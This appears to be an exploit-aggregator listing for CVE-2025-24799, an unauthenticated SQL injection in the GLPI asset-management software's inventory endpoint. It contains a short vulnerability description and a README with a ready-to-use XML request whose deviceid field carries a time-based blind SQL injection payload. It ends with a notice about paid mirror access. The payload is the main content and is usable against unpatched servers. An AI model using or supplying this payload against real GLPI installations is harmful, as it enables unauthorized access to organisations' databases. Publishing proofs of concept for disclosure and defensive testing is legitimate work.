CVE-2025-24799 PoC — GLPI allows unauthenticated SQL injection through the inventory endpoint

Source

https://github.com/galletitaconpate/CVE-2025-24799

Associated Vulnerability

Title: GLPI allows unauthenticated SQL injection through the inventory endpoint (CVE-2025-24799)
Description:GLPI is a free asset and IT management software package. An unauthenticated user can perform a SQL injection through the inventory endpoint. This vulnerability is fixed in 10.0.18.

Readme

# CVE-2025-24799

```
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid>' UNION ALL SELECT IF(1=1,SLEEP(5),1) -- -'</deviceid>
<content>some</content>
</xml>
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →